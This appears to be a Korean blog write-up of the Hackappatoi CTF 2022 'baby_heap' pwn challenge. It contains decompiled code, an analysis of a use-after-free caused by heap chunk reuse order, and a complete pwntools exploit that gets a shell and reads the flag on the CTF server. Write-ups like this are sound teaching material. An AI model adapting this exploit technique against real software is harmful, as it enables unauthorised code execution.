728x90
반응형
1. intro
2. code 및 분석
2.1. code
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
unsigned int choice; // [rsp+1Ch] [rbp-4h]
setup();
while ( 1 )
{
choice = menu();
if ( choice == 3 )
break;
if ( choice <= 3 )
{
if ( choice == 1 )
{
add_user();
}
else if ( choice == 2 )
{
rm_user();
}
}
}
check();
}
void __fastcall add_user()
{
unsigned int v0; // ebx
unsigned int v1; // ebx
unsigned int user_idx; // [rsp+Ch] [rbp-24h] BYREF
int fdrand; // [rsp+10h] [rbp-20h]
int read_bytes; // [rsp+14h] [rbp-1Ch]
unsigned __int64 v5; // [rsp+18h] [rbp-18h]
v5 = __readfsqword(0x28u);
user_idx = 0;
puts("in which pocket you want to save your new identity? (0-4)");
printf("> ");
__isoc99_scanf("%u", &user_idx);
if ( user_idx > 4 )
{
puts("nope is not a place that!");
}
else
{
user_idx *= 2;
v0 = user_idx;
user_tuples[v0] = (char *)malloc(0x10uLL);
v1 = user_idx + 1;
user_tuples[v1] = (char *)malloc(0x10uLL);
printf("Insert username: ");
read(0, user_tuples[user_idx], 0x10uLL);
fdrand = open("/dev/urandom", 0);
if ( fdrand < 0 )
exit(0);
read_bytes = read(fdrand, user_tuples[user_idx + 1], 0x10uLL);
if ( read_bytes < 0 )
exit(0);
}
}
void __fastcall rm_user()
{
unsigned int user_idx; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v1; // [rsp+8h] [rbp-8h]
v1 = __readfsqword(0x28u);
user_idx = 0;
puts("What fake name you want to delete (0-4)");
printf("> ");
__isoc99_scanf("%u", &user_idx);
if ( user_idx > 4 )
{
printf("Oh nous you cant chose that");
fflush(stdout);
exit(0);
}
free(user_tuples[user_idx]);
free(user_tuples[user_idx + 1]);
}
void __fastcall __noreturn check()
{
unsigned int user_idx; // [rsp+Ch] [rbp-14h] BYREF
unsigned int __n; // [rsp+10h] [rbp-10h]
unsigned __int64 v3; // [rsp+18h] [rbp-8h]
v3 = __readfsqword(0x28u);
user_idx = 0;
puts("Oh you are the new bartender?\n let me see your pass...");
puts("choose your fake identity");
printf("> ");
__isoc99_scanf("%u", &user_idx);
if ( user_idx <= 4 )
{
user_idx *= 2;
__n = strlen(secret);
if ( !strncmp(user_tuples[user_idx + 1], secret, 0x10uLL) )
system("/bin/sh");
}
puts("Oh nous you are screwed!");
fflush(stdout);
exit(0);
}
2.2. 분석
메뉴는 총 3개인데,
1번에서는 heap chunk를 2개 할당한 다음 첫번째 heap에는 username을, 두번째 heap에는 urand 값을 넣는다.
2번에는 heap chunk를 해제하는데, 첫번째 -> 두번째 순으로 free 한다.
3번에서는 index를 입력 받고, input 값(secret)과 rand 값이 같으면 셀을 실행해준다.
3. 취약점 확인 및 공격 준비
3.1. 취약점
heap의 할당과 해제 순서에 따라 data가 들어갈 위치를 조종할 수 있으며,
chunk address를 가진 index를 초기화하지 않기에 use after free bug가 발생한다.
3.2. 공격 준비
가장 큰 취약점은 heap 할당 시 heap memory의 낮은 주소부터 할당된다.
즉 아래와 같은 모양이다.
0x555555558290: 0x0000000000000000 0x0000000000000021
0x5555555582a0: 0x6161616161616161 0x000000000000000a
0x5555555582b0: 0x0000000000000000 0x0000000000000021
0x5555555582c0: 0xd341fa598f823fec 0xbab9e977b03546f1
0x5555555582d0: 0x0000000000000000 0x0000000000020d31
free 시 마찬가지로 낮은 주소부터 해제된다.
만일 여기서 다시 한번 할당하면, free 시 가장 마지막에 free 된 위치를 기억했다가 다시 사용하기 때문에
높은 주소의 chunk를 먼저 쓰고 낮은 주소의 chunk를 다음에 쓴다.
즉 아래와 같은 모양이 된다.
0x555555558290: 0x0000000000000000 0x0000000000000021
0x5555555582a0: 0x9d43571c22864cf0 0x3003433389c9d27e
0x5555555582b0: 0x0000000000000000 0x0000000000000021
0x5555555582c0: 0x6262626262626262 0x000000000000000a
0x5555555582d0: 0x0000000000000000 0x0000000000020d31
위의 취약점과 더불어 index address가 초기화되지 않으니 해당 chunk의 값이 변경되어도 그대로 참조할 것이다.
더불어 secret 값은 아래와 같이 고정 값이다. (아마 전역변수에 선언된 값인듯)
.data:0000000000003690 secret dq offset aQuotidianabirr
.data:0000000000003690 ; DATA XREF: check+7F↑r
.data:0000000000003690 ; check+91↑r
.data:0000000000003690 _data ends ; "quotidianabirra!"
4. exploit
from pwn import *
#p = process('./baby_heap')
p = remote('hctf.hackappatoi.com', 10008)
p.sendlineafter(b'> ',b'1')
p.sendlineafter(b'> ',b'0')
p.sendlineafter(b'name: ',b'00000000')
p.sendlineafter(b'> ',b'2')
p.sendlineafter(b'> ',b'0')
p.sendlineafter(b'> ',b'1')
p.sendlineafter(b'> ',b'2')
p.sendlineafter(b'name: ',str('quotidianabirra!'))
p.sendlineafter(b'> ',b'3')
p.sendlineafter(b'> ',b'0')
p.interactive()
┌[WyV3rN]-(binary/)-
└> python3 a.py
[+] Opening connection to hctf.hackappatoi.com on port 10008: Done
/mnt/d/hack/binary/heap baby/a.py:15: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
p.sendlineafter(b'name: ',str('quotidianabirra!'))
[*] Switching to interactive mode
$ id
uid=1000(ctf) gid=1000(ctf) groups=1000(ctf)
$ q
$ cat flag
HCTF{w0w_1nc0gn1t0_m0d3_0n}
728x90
반응형
'CTF > Solved' 카테고리의 다른 글
idekCTK 2022 - Typop (0) | 2023.01.16 |
---|---|
IRIS CTF - ret2libm (0) | 2023.01.10 |
Hackappatoi CTF 2022 - [PWN] Endless Queue (0) | 2022.12.10 |
Hackappatoi CTF 2022 - [PWN] Sanity drink (0) | 2022.12.10 |
Dreamhack CTF Season 2 Round #11 - [PWN] Cat Jump (0) | 2022.12.09 |